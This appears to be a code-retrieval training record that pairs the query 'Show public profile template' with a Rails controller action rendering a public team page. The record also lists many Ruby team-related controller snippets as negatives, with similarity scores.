"def index\n if current_user_total?\n @teams = Team.order(:description).page(params[:page]).per(5)\n else\n ids = []\n tus = TeamUser.where(user_id: current_user.id)\n tus.each do |tu| # user_id | team_id\n ids << tu.team_id # [1, 6, 7]\n end\n\n return @teams = Team.where(id: ids).order(:description).page(params[:page]).per(5)\n end\n=======\n\n # GET /teams\n # GET /teams.json\n def index\n @teams = Team.order(:description).page(params[:page]).per(5)\n>>>>>>> d0c6183c3349cba16c54d8ce4c0fb5ee26c49700\n end\n\n # GET /teams/1\n # GET /teams/1.json\n def show\n<<<<<<< HEAD\n=======\n @team = Team.find(params[:id])\n>>>>>>> d0c6183c3349cba16c54d8ce4c0fb5ee26c49700\n end",
"def get_team ( team_key )\n get_api_resource \"#{@@api_base_url}team/#{team_key}\"\n end",
"def index\n @teams = Team.page(params[:page])\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end",
"def show\n # @teams = ::Services::TeamService.show_teams\n end",
"def show\n @ultimate_team = UltimateTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ultimate_team }\n end\n end",
"def get_teams_by_league(league_id)\n response = parse_api_request(\"#{BASE_URL}teams/league/#{league_id}\")[\"teams\"]\nend",
"def team\n @team = Team.where('team_id = ?', params[:id])\n @active_stats = ActiveStat.where('team_id = ?', params[:id])\n\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all\n end",
"def index\n @teams = Team.all.order(:name)\n if params[:all]\n json_response(TeamSerializer, @teams)\n else\n @teams_paginated = @teams.page(current_page, per_page).per(per_page)\n json_response(TeamSerializer, @teams_paginated, options(@teams))\n end\n end",
"def organization_teams\n get(\"/organizations/#{@default_org_slug}/teams/\")\n end",
"def index\n\t\t@teams = Team.all\n\tend",
"def show\n @swim_team = SwimTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @swim_team }\n end\n end",
"def index\n\t\t@team = Team.find(params[:team_id])\n\tend",
"def index\n game = Game.all\n\n render json: game, include: :teams\n end",
"def index\n\t\t@teams = Team.all\n\t\trender '/teams/index.json.jbuilder'\n\tend",
"def index\n # @teams = Team.all\n \n redirect_to \"/members\"\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @teams }\n # end\n end",
"def show\n @team = Team.find(params[:id])\n end",
"def show\n @team = Team.find(params[:id])\n end",
"def get_team(params = {})\n params = Utils.symbolize_hash_keys(params)\n query_params = { }\n headers = {}\n body = nil\n\n path = \"/team\"\n\n @client.request(\n method: :get,\n path: path,\n query: query_params,\n headers: headers,\n body: body)\n end",
"def index\n @teams = current_user.teams\n end",
"def index\n @teams = current_user.teams\n end",
"def team\n fetch('esport.teams')\n end",
"def index\n @teams = @organization.teams\n end",
"def user_team(team_id)\n get(\"/user_teams/#{team_id}\")\n end",
"def index\n @teams = @competition.teams.sort_by{|t| t.number}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end",
"def show\n @team = Team.find(params[:id])\n @runners = @team.runners\n @count = @runners.length\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end",
"def show\n\t\t@team = Team.find(params[:id])\n\tend",
"def new\n @teammate = Teammate.new\n @teams = Hackathon.find(params[:hackathon_id]).teams\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @teammate }\n end\n end",
"def show\n @id = @my_team.team_id\n @team_name = Teams.find(@id)\n roster = RestClient.get(\"https://statsapi.web.nhl.com/api/v1/teams/#{@id}/roster\")\n @roster = JSON.parse(roster)[\"roster\"]\n end",
"def get_teams\r\n response = HTTParty.get('https://www.balldontlie.io/api/v1/teams')[\"data\"]\r\n response.each do |i|\r\n team = Team.new\r\n \r\n team.full_name = i[\"full_name\"]\r\n team.division = i[\"division\"]\r\n team.conference = i[\"conference\"]\r\n\r\n team.save\r\n\r\n end \r\n end",
"def show\n\n \t\t\trespond_with @team\n\n \t\tend",
"def index\n @teams = Team.order(:id).page(params[:page]).per(10)\n end",
"def team( team_id )\n\n if( team_id.is_a?(String) && team_id.is_a?(Integer) )\n raise ArgumentError.new(format('wrong type. user \\'team_id\\' must be an String (for an Team name) or an Integer (for an Team Id), given \\'%s\\'', team_id.class.to_s))\n end\n raise ArgumentError.new('missing \\'team_id\\'') if( team_id.size.zero? )\n\n v, mv = version.values\n return { 'status' => 404, 'message' => format( 'team has been supported in Grafana since version 5. you use version %s', v) } if(mv < 5)\n\n if(team_id.is_a?(String))\n o_team = search_team(name: team_id)\n status = o_team.dig('status')\n total_count = o_team.dig('totalCount')\n\n return { 'status' => 404, 'message' => format( 'No Team \\'%s\\' found', team_id) } unless(status == 200 && total_count > 0)\n\n teams = o_team.dig('teams')\n team = teams.detect { |x| x['name'] == team_id }\n team_id = team.dig('id')\n end\n\n endpoint = format( '/api/teams/%s', team_id )\n\n @logger.debug(\"Getting team by Id #{team_id} (GET #{endpoint})\") if @debug\n get(endpoint)\n end",
"def show\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_test }\n end\n end",
"def index\n @team = Team.find(params[:team_id])\n @sprints = @team.sprints.find(:all)\n\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def show\n @nba_team = NbaTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nba_team }\n end\n end",
"def teams(org)\n get \"/orgs/#{org}/teams\"\n end",
"def get\n service_response = ManagerManagement::Team::Get.new(params).perform\n return render_api_response(service_response)\n end",
"def index\n @user_teams = UserTeam.all\n end",
"def get_team_details(params)\n get('team', params)\n end",
"def show\n @team=Team.find(params[:id])\n end",
"def index\n @team = Team.find(params[:team_id])\n @players = @team.players\n end",
"def show\n @team = Team.where(:id=>params[:id]).first\n end",
"def get_project_teams(project_id_or_key)\n get(\"projects/#{project_id_or_key}/teams\")\n end",
"def get_teams( org )\n teams = Homework.get(\"/orgs/#{org}/teams\", :headers => @auth)\n teams.each do |team|\n puts team['id']\n end\n end",
"def show\n @teamming = Teamming.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teamming }\n end\n end",
"def show\n @teammate = Teammate.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teammate }\n end\n end",
"def index\n @games_teams = GamesTeam.all\n end",
"def get_team_name_by_id(team_id)\n response = parse_api_request(\"#{BASE_URL}teams/team/#{team_id}\")[\"teams\"].values.first[\"name\"]\nend",
"def index\n @teams = Team.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @teams }\n end\n end",
"def index\n @users_teams = UsersTeam.all\n end",
"def get_players_by_team(team_id)\n response = parse_api_request(\"#{BASE_URL}players/2018/#{team_id}\")[\"players\"]\nend",
"def team\n @club = Club.find(params[:id])\n\n respond_to do |format|\n format.html #team.html.erb\n end\n end",
"def show\n @user = User.find(params[:id])\n @teams = TeamPlayer.where(:user_id => params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @user_teams = @game.team.user_teams\n end",
"def find(id:)\n request.get(\"#{teamsites_url}/#{id}\")\n end"
] |
[
"0.7996014",
"0.7838169",
"0.7753974",
"0.7667755",
"0.7657437",
"0.76113945",
"0.7591232",
"0.758825",
"0.7579617",
"0.75722426",
"0.7572136",
"0.7572136",
"0.75414246",
"0.7532713",
"0.7532713",
"0.75120324",
"0.75120324",
"0.75120324",
"0.75120324",
"0.7472558",
"0.74704117",
"0.7470195",
"0.73370117",
"0.7311696",
"0.7295985",
"0.7294663",
"0.72875184",
"0.72543615",
"0.7209598",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71553546",
"0.71502715",
"0.7140834",
"0.7101897",
"0.70946467",
"0.7090414",
"0.70859087",
"0.7073245",
"0.7047894",
"0.70299345",
"0.70299345",
"0.7000277",
"0.6969165",
"0.6969165",
"0.69553185",
"0.6940152",
"0.6936311",
"0.69198287",
"0.69128263",
"0.6908827",
"0.6899722",
"0.68950254",
"0.6880371",
"0.6879452",
"0.6868598",
"0.6851805",
"0.68438226",
"0.6832526",
"0.6829368",
"0.68258226",
"0.6823184",
"0.68195516",
"0.6813455",
"0.6809654",
"0.6802575",
"0.6786394",
"0.6765887",
"0.6752096",
"0.6751437",
"0.672934",
"0.6703744",
"0.6700383",
"0.6697917",
"0.66946477",
"0.6693806",
"0.6691867",
"0.6689396",
"0.6683364",
"0.66759473"
] |
0.0
|
-1
|
Show public profile template
|
def no_permissions
# TODO: Refactor this to use private team rabl template
@team_json = Rails.cache.fetch "#{@team.rabl_cache_key}/#{@demo_final}" do
Rabl.render(@team, "api/v1/teams/show_reduced_gamecard", view_path: 'app/views', :locals => { :demo_final => @demo_final }, :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
@user = current_user if @user.nil?
# tenant info
@tenant = LandLord.new(@team).tenant
@tenant_json = Rabl.render(@tenant, 'api/v1/tenants/show', view_path: 'app/views', formats: :json, locals: { page: "team" }).html_safe
# TODO: This is duplicated in the show action above - could refactor
@user_json = {}.to_json
unless current_user.nil?
@user_json = Rails.cache.fetch "#{current_user.rabl_cache_key}" do
Rabl.render(@user, "api/v1/users/show", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
end
@current_user_teams_json = [].to_json
unless current_or_guest_user.nil?
@current_user_teams_json = Rails.cache.fetch "#{current_or_guest_user.rabl_cache_key}/CurrentTeams" do
Rabl.render(current_or_guest_user.teams, "api/v1/teams/index", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
end
@current_user_leagues_json = [].to_json
unless current_user.nil?
@current_user_leagues_json = Rabl.render(current_user.leagues_as_organiser, "api/v1/leagues/index", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
# Meta-tags
title = (!@division.nil? && !@division.league.nil?) ? @team.name + " | " + @division.league.title : @team.name
set_meta_tags :title => title
return render 'show_public_restricted' unless can? :view_public_profile, @team
##### PUBLIC TEAM - SHOW PUBLIC PAGE #####
# Public Meta-tags
set_meta_tags :description => "The #{@team.name} Full Team Page. Browse upcoming games, latest results and team news here. Stay up-to-date - View the team page now!"
set_meta_tags :keywords => %W[fixtures schedule results scores games #{@team.name}]
@division = @team.divisions.first if @division.nil?
@bf_club_teams = @team.club.teams unless @team.nil? || @team.club.nil?
# USER FOLLOWING?
@user_following = !current_user.nil? && @team.has_associate?(current_user)
# USER DOWNLOADED APP?
@current_user_has_downloaded_app = !current_user.nil? && !current_user.mobile_devices.empty?
# ROLLOUT: DOWNLOAD THE APP LINK
@download_the_app = current_user.nil? ? $rollout.active?(:faft_follow_team) : $rollout.active?(:faft_follow_team, current_user)
@show_facebook_signup = false
@division_presenter = DivisionPresenter.new(@division)
@division_cache_prefix = @division.nil? ? "" : "division/#{@division.id}-#{@division.updated_at.to_i}/"
if @division.nil?
@future_fixture_events = @team.future_events
else
@future_fixtures = @division.fixtures.future.all.keep_if { |f| (f.home_team_id == @team.id || f.away_team_id == @team.id) }
@future_fixture_events = @future_fixtures.map { |f| f.event_for_team(@team) }
maximum_updated_at = @division.fixtures.future.maximum(:updated_at)
end
@future_events = EventsPresenter.new(@future_fixture_events).events
@future_events_cache = @division_cache_prefix + "team/#{@team.id}/future_events/#{@future_events.size}-#{maximum_updated_at.to_i}"
if @division.nil?
@past_fixture_events = @team.past_events
else
@past_fixtures = @division.fixtures.past.all.keep_if { |f| f.home_team_id == @team.id || f.away_team_id == @team.id }
@past_fixture_events = @past_fixtures.map { |f| f.event_for_team(@team) }
maximum_updated_at = @division.fixtures.past.maximum(:updated_at)
end
@past_events = EventsPresenter.new(@past_fixture_events).events.reverse
@past_events_cache = @division_cache_prefix + "team/#{@team.id}/past_events/#{@past_events.size}-#{maximum_updated_at.to_i}"
# for marketing popup team dropdown
unless @division.nil?
@teams_json = Rabl.render(@division_presenter.teams, "api/v1/teams/show_faft_micro", view_path: 'app/views', :formats => [:json], :handlers => [:rabl]).html_safe
end
render 'show_public', :layout => 'app_public'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n\n\t\t@current_profile = Profile.get_profile params[:id], \"asdf\"\n\n\t\tpretty_render \"api/public_user\"\t\n\n\tend",
"def profile\n @user = @current_user\n\n render :show\n\n end",
"def profile\n @shop = Shop.find(1)\n render :template => 'facebook/profile.erb', :layout => false\n return\n end",
"def profile\n if(current_user)\n render 'layouts/loggedin'\n else\n render \"layouts/guest\"\n end\n end",
"def show\r\n jump_to(\"/profiles/#{session[:account_id]}/basic\")\r\n end",
"def profile\n\t@user = current_user\n\t@title = \"This is your profile page\"\n end",
"def show\n @page_title = 'Profile for ' + @person.full_name\n end",
"def public\n @seeker = Seeker.find_by_id(params[:id])\n unless @seeker.nil?\n @title = @seeker.user.name.pluralize + \" Profile\"\n end\n end",
"def show\n @title = \"Perfil del Candidato: #{@profile.forenames} #{@profile.surnames}\"\n end",
"def show\n @profile = @user.profile\n end",
"def show\n if current_user.role == 2 || @profile.user_id == current_user.id\n respond_to do |format|\n format.docx do\n render docx: 'show'\n end\n format.pdf do\n render :pdf => \"#{@profile.name} Profile\", :template => \"profiles/show.html.erb\", layout: 'pdf'\n end\n format.html do\n render :show\n end\n end\n else\n redirect_to '/profiles/'\n end\n end",
"def show\n if current_user.is_normal?\n @user = User.find( params[:id] )\n render :profile\n else\n redirect_to user_profile_path\n end\n end",
"def public_show\n respond_to do |format|\n format.js {render template: \"profiles/public_save\"}\n end\n end",
"def show\n op = present User::Show\n redirect_to edit_user_profile_path(current_user, op.model.profile) && return if op.new_profile?\n redirect_to user_profile_path(current_user, op.model.profile)\n end",
"def render\n require 'erb'\n template_file = File.dirname(__FILE__) + '/profile/template.erb'\n template = File.read(template_file)\n ERB.new(template,nil,'-').result(binding)\n end",
"def show\n @profile = current_user.profile\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n if current_user.try(:admin?)\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n else\n redirect_to :permission_error\n end\n end",
"def show\n @title = \"#{@profile.forenames} #{@profile.surnames}\"\n end",
"def show\n @profile = self.current_member.profile\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @profile.to_xml }\n end\n end",
"def template\n 'show'\n end",
"def show\n @profile = current_user.profile\n\n # ToDo: error message if no profile is found for user\n\n puts 'Got profile='\n pp @profile\n \n\n puts 'got other_names='\n pp @profile.other_names\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n format.json { render :json => @profile }\n end\n \n end",
"def show\n\t\t#will have template\n\tend",
"def show\n @partial = authorized? ? 'player' : 'paywall'\n end",
"def show\n authorize @user # Can only see your own profile\n end",
"def show\n user_profile = UserProfile.new(current_user: current_user)\n\n valid_rn = params[:resource_name]\n if valid_rn.present?\n resource_info = user_profile.resource_info(valid_rn)\n resource = user_profile.current_user_resource_instance(resource_info: resource_info)\n if resource\n resource.current_user = current_user\n # resource_info[:resource_item_name]\n render json: { resource.resource_item_name => resource }\n else\n base_route_segments = resource_info[:base_route_segments]\n unless resource_info[:model].no_master_association\n use_temp_master = \"/masters/#{Master::TemporaryMasterIds.first}\"\n end\n new_path = \"#{use_temp_master}/#{base_route_segments}/new\"\n redirect_to new_path\n end\n\n elsif request.format == :html\n @panels = user_profile.current_user_resource_infos\n render :show\n else\n render json: { user_profile: user_profile.current_user_resource_instances }\n end\n end",
"def show\n\t\tif not user_signed_in? # if user is not signed in, they should not be allowed to view this page or be redirected\n\t \t\trespond_to do |format|\n\t \t\t\tformat.html { redirect_to root_url }\n\t \t\tend\n\t \t\treturn\n\t \tend\n\t \t\n\t \t@user_profile = Profile.where('id = ?',params[:profile_id]).first\n\t \tif @user_profile.nil? # if the current profile id does not exist, then cannot proceed; if not our profile, TODO: privacy settings\n\t \t\trespond_to do |format|\n\t \t\t\tformat.html { redirect_to root_url }\n\t \t\tend\n\t \t\treturn\n\t \tend\n\t \t\n\t \t@resume = Resume.where('id = ? AND profile_id = ?',params[:id],@user_profile.id).first # must check for nil! \t\n\t \tif @resume.nil?\n\t \tredirect_to profile_path(@user_profile.id) # for now, just go back the profile (eventually, if use index, can go back there like images does)\n\t end\n\tend",
"def show\n @profile = Profile.find(params[:id]) || current_user.profile\n end",
"def show\n respond_to do |format|\n format.html { render :action => \"show_\"+@profile.profile_type.permalink }\n format.xml { render :xml => @profile.to_xml }\n end\n end",
"def show\n @profile = @user.profile\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def public_profile\n if params['form_profile']\n CsApi::Member.update(current_access_token, @current_user.username, params['form_profile'])\n Resque.enqueue(UpdateBadgeVillePlayer, current_access_token, @current_user.username, 'name,first_name,last_name,profile_pic,badgeville_id') unless ENV['BADGEVILLE_ENABLED'].eql?('false')\n flash.now[:notice] = 'Your profile information has been updated.'\n # get the updated account\n get_account \n end\n @page_title = 'Public Profile'\n end",
"def show_cidprofile_publiconly\n @profile = Profile.find_by_cid(params[:cid])\n puts 'found profile by cid=' + params[:cid]\n\n # Crude: copy the (hardcoded) public attributes from profile object\n # NB this ideally needs a deep copy/clone to also cover info from associated models\n profile_atts = @profile.clone_attributes\n profile_atts_public = {}\n ['cid','firstname','lastname', 'middleinitials'].each do |key|\n profile_atts_public[key] = profile_atts[key]\n end\n \n puts 'Showing public-only profile info:'\n pp profile_atts_public\n pp @profile\n respond_to do |format|\n format.html do\n params[id] = @profile.id\n #forward 'show'\n #redirect_to profile_path(@profile)}\n render \"show_public\"\n end\n format.xml { render :xml => profile_atts_public }\n format.json { render :json => profile_atts_public }\n end\n \n end",
"def show\n\t\t# begin\n\t\t\tprofile = Profile.find(params[:id])\n\t @conversation = current_profile.find_conversation(profile)\n\t respond_to do |format|\n\t format.html {render \"profiles/#{profile._type.underscore}_show\"}\n\t format.json { render :json => @profile }\n\t end\n\t\t# rescue => error\n\t\t# \trender \"profiles/not_found\"\n\t\t# \tputs error.message\n\t\t# end\n end",
"def show\n @profile = current_user\n @projects = Project.all \n @user = current_user\n end",
"def user_template\n super\n end",
"def create\n build_identity\n save_identity || render(template: 'profiles/show')\n end",
"def show\n @flag = @profile.country_code + \" flag\" unless @profile.country_code.nil?\n\n if @profile.user_id == current_user.id\n @title = \"My Profile Card\"\n else\n @title = \"#{@profile.nickname}'s Profile Card\"\n end\n end",
"def show\n # @profile = Profile.find(params[:id])\n redirect_to user_page_url(@profile.user)\n end",
"def index\r\n jump_to(\"/profiles/#{session[:account_id]}/basic\")\r\n end",
"def index\n @profiles = current_user\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def profile\n end",
"def show\n \tif(params[:id])\n \t\t @profile = Profile.find(params[:id])\n \telse\n \t\t@profile = Profile.find_by_user_id(current_user.id)\n \tend\n # authorize! :show, @profile\n\n add_breadcrumb @profile.first_name + \" \" + @profile.last_name, \"\"\n \n @recentposts = Post.where('user_id = ?', @profile.user.id).order('id desc')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @private_profile = PrivateProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @private_profile }\n end\n end",
"def show\n session[:current_tab] = \"Profile\"\n session[:current_sub_tab] = \"\"\n\n if params[:hcard]\n hcard\n return\n end\n \n @user_spaces = @user.stages\n if @user.profile.new_record? && current_user == @user\n flash[:notice]= 'You must create your profile first'\n redirect_to new_user_profile_path(@user)\n elsif current_user != @user && @user.profile.new_record?\n flash[:notice]= \"Action Not Allowed\"\n redirect_to root_path() \n else\n @thumbnail = Logotype.find(:first, :conditions => {:parent_id => @user.profile.logotype, :thumbnail => 'photo'}) \n respond_to do |format|\n format.html \n format.xml { render :xml => @profile }\n format.vcf { vcard }\n format.atom\n end\n end\n end",
"def profile\n\n end",
"def new\n @help = PageContent.find_by_name(\"profile-help\") # \"What to include in profile\" Content\n @presenter = find_presenter\n if @presenter.presenter_profile.nil?\n @presenter_profile = @presenter.build_presenter_profile(status: :new_profile)\n else\n redirect_to edit_presenter_profile_path(@presenter)\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @personal_info = current_user.personal_info\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_info }\n end\n end",
"def show\n \tif !logged_in?\n \t\tredirect_to :controller => :sessions, :action => :new, :return_to => request.request_uri\n \telse\n\t \tlogin = params[:login]\n\t \t@user = User.find_by_login(login)\n\t \t@user_stream = @user.profile_stream_short\n\t \t@user.images.highest_ranked.each do |i|\n\t \t\t@image = i.photo.url(:profile)\n\t\t\tend\t\t\t \t\n\t \t@cats = @user.cats.paginate :page => params[:page], :order => \"created_at desc\", :per_page => 30\n\t \t@user.profile ||= Profile.new\n\t \t@profile = @user.profile\n \tend\n end",
"def index\n @personal_profiles =current_user.personal_profile\n end",
"def new\n only_provides :html\n @user = User.new\n display @user\n end",
"def show\n if Gluttonberg::Member.enable_members == true\n return unless require_member\n unless current_member.does_member_have_access_to_the_page?(page)\n raise CanCan::AccessDenied\n end \n end\n \n template = page.view\n template_path = \"pages/#{template}\"\n \n if File.exists?(File.join(Rails.root, \"app/views/pages/#{template}.#{locale.slug}.html.haml\" ) )\n template_path = \"pages/#{template}.#{locale.slug}\"\n end \n \n # do not render layout for ajax requests\n if request.xhr?\n render :template => template_path, :layout => false\n else\n render :template => template_path, :layout => page.layout\n end\n end",
"def show\n @owner_profile = User.find(@group.owner_id).profile\n end",
"def show\n unless params[:id].blank?\n @user = User.find_by_id(params[:id])\n else\n if logged_in?\n @user = current_user\n else\n require_login and return\n end\n end\n \n if @user.blank?\n flash[:error] = \"User not found\"\n redirect_to root_path and return\n end\n\n @own_profile = (logged_in? && (@user.id == current_user.id))\n\n @page_title = @own_profile ? \"My profile\" : \"View profile\"\n\n @memberships = @user.liga_users.approved.map(&:league)\n end",
"def profile\n \n end",
"def show\n @user = User.find(params[:id])\n\n if @user.state != 'active' or @user.login == 'admin'\n return redirect_to users_path\n end\n \n @page_ancestors = [{:name=>'Community', :url=> users_path}]\n @bc_title = 'User Profile'\n \n respond_to do |format|\n format.html # show.html.erb\n format.iphone\n format.xml { render :xml => @user }\n end\n end",
"def show\n if (is_signed_in)\n @preview=true; #the same user is viewing the profile.\n puts(\"------- DEBUG ------------\" + session[:user].to_s)\n else\n @preview = false;\n end\n\n if params[:id]== (\"sign_in\")\n redirect_to :controller => 'authentication',:action => 'show'\n end\n if params[:id]== (\"sign_out\")\n redirect_to :controller => 'authentication',:action => 'destroy'\n end\n if params[:id]== (\"uploads\")\n redirect_to :controller => 'users',:action => 'uploads'\n\n end\n\n end",
"def show\n \t@person = Person.find(params[:id])\n \t@is_admin = false\n \tactive_person = Person.find(session[:user_id])\n \troles = active_person.roles.collect {|role| role.name}\n if roles == [\"DirectCareProvider\"] && session[:user_id] != params[:id]\n flash[:notice] = \"You can only access your own profile.\"\n @person = active_person\n elsif roles.member?(\"Supervisor\") || roles.member?(\"Administrator\")\n \t@is_admin = true\n end\n end",
"def show\n @user_profile = UserProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_profile }\n end\n end",
"def index\n @profiles = current_user.profiles\n end",
"def index\n @profiles = current_user.profiles\n end",
"def show\n @can_edit = false\n if user_signed_in?\n @my_pre = Preference.find_by user_id: current_user.id\n @my_pro = Profile.find_by user_id: current_user.id\n @similars = find_similar\n\n if current_user.admin?\n @can_edit = true\n elsif current_user.editor? && @post.owner == current_user.id\n @can_edit = true\n end\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_profile }\n end\n end",
"def show\n\n if current_user.admin || (current_user.id == params[:id])\n @user = User.find(params[:id])\n @studies = @user.studies.order(studies_order).paginate(:page => params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n else\n trigger_403('You can only access your own profile.')\n end\n end",
"def profile\n render_json 0,\"ok\",current_member.as_profile\n end",
"def show\n @user_picture = @user.profile_image.expiring_url(3600, :square)\n @bookmarks = @user.bookmarks\n @enrollments = @user.courses\n @enrollments_visible = @user.course_enrollments_visible_for_user(current_user)\n @completions_visible = @user.course_results_visible_for_user(current_user)\n end",
"def show\n @title = \"Photos uploaded by \" + @user.username\n @title_cat = \"Cats belonging to \" + @user.username\n # for partial generic views\n @photos = @user.photos\n @cats = @user.cats\n end",
"def show\n response = OpenStruct.new({\n 'id': @current_user.account_uuid,\n 'type': 'mvi_models_mvi_profiles',\n 'gender': @current_user.gender_mpi,\n 'birth_date': @current_user.birth_date_mpi\n })\n handle_errors!(response)\n\n render json: response, serializer: PersonalInformationSerializer\n end",
"def show\n @user = User.find(params[:id])\n @links = Link.where(user_id: @user.id)\n @link = Link.new\n render :full_profile\n end",
"def show\n profils_show_path\n end",
"def show\n if current_user\n @user = User.find(params[:id])\n @user = current_user\n render :show\n else\n flash[:error] = \"Must be signed in to see your profile!!\"\n redirect_to \"/\"\n end\n end",
"def show\n @user = if params[:user_id]\n User.find(params[:user_id])\n else\n current_user\n end\n\n @profile = @user.profile\n authorize! :show, @profile\n\n @progress_remaining = @profile.profile_progress\n @progress = Profile::PROFILE_STEPS - @progress_remaining\n @progress_percent = ((@progress/Profile::PROFILE_STEPS.to_f) * 100).round(0)\n\n #here is code for creating a \"view\" event in the Views table\n unless current_user.id == @user.id\n @view = View.new\n @view.profile_id = @profile.user_id\n @view.viewer_id = current_user.id\n @view.save\n end\n #end of code relating to the view\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end",
"def show\n @user = current_user\n @title = \"Account and Notification Settings\"\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @profile }\n end\n end",
"def show\n @profiles = @grab.profiles\n end",
"def small_profile\n\t\t# determine which user's profile page\n \t@user = User.find_by_login(params[:username])\n\t\t# get all comments for this user\n\t @comments = @user.user_comments\n\t\t# get all user_items by this user\n\t @user_items = current_user.user_items\n\t\trespond_to do |format|\n\t\t\tformat.html\n format.js { render_to_facebox }\n end\n\tend",
"def profile\n account_id = params[:account_id].to_i if (params[:account_id] != nil)\n account = SystemTrack::AccountsProxy.new.account(session, account_id)\n form = AccountEntryPage.new(session, account)\n render text: form.render\n end",
"def show\n @profile = Profile.find(params[:id])\n end",
"def show\n @profile = Profile.find(params[:id])\n end",
"def show\n @profile = Profile.find(params[:id])\n end",
"def show\n @profile = Profile.find(params[:id])\n end",
"def show\n @profile = Profile.find(params[:id])\n end",
"def show\n @profile = Profile.find(params[:id])\n end",
"def profile\n super\n end",
"def profile\n super\n end",
"def set_profile\n if current_user.nil?\n redirect_to :home, notice: t( 'profiles.notice.pls_signon') \n else\n @person = Person.find( current_user.person_id )\n @user_id = current_user.id\n set_final_breadcrumb( action_name )\n end\n self.feature_help_file = :profile\n end",
"def show\n owner(@account, @current_user.id) if !admin_signed_in?\n end",
"def new\r\n jump_to(\"/profiles/#{session[:account_id]}/basic\")\r\n end",
"def show\n require_user()\n end",
"def show\n @public_user = PublicUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @public_user }\n end\n end",
"def show\n @user_template = UserTemplate.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_template }\n end\n add_audit_trail(:details => \"Viewed a template with alias: #{@user_template.alias}\")\n end",
"def show\n authorize @accountant_profile\n end",
